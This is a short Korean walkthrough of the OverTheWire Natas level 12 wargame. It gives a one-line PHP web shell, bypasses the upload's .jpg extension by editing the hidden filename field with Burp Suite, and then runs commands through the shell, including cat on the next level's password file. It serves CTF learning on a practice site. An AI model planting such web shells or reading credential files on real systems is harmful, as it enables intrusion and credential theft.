이번 과제에서는 파일을 올릴 수 있게 되어있다.
파일을 업로드해서 그 파일이 /etc/natas_webpass/natas13 파일을 읽게 하고, 그 결과를 뿌려주게 하면 될 것이다.
아래와 같은 내용의 shell.php를 저장한다.
<?php
echo shell_exec($_GET['cmd']);
?>
그리고 파일을 업로드하면 확장자가 자동으로 .jpg로 바뀌어 올라간다. php로 업로드할 방법은 없는가?
소스를 보면 다음과 같은 부분이 있다:
<input type="hidden" name="filename" value="<? print genRandomString(); ?>.jpg" />
이 .jpg 부분을 php로 변경하면 php 파일을 업로드 할 수 있을 것이다.
Brup Suite를 사용하여 HTTP Response를 고치면 .jpg 부분을 .php로 변경할 수 있다.
업로드한 뒤 업로드가 끝난 파일로 접속하자.
http://natas12.natas.labs.overthewire.org/upload/tcya50cflf.php?cmd=whoami
정상적으로 파일이 업로드 된 것을 확인하기 위해 시험삼아 whoami 명령어를 실행한다.
정상적으로 실행되니 우리의 목적인 패스워드 파일을 읽어오자.
http://natas12.natas.labs.overthewire.org/upload/tcya50cflf.php?cmd=cat%20/etc/natas_webpass/natas13
끝!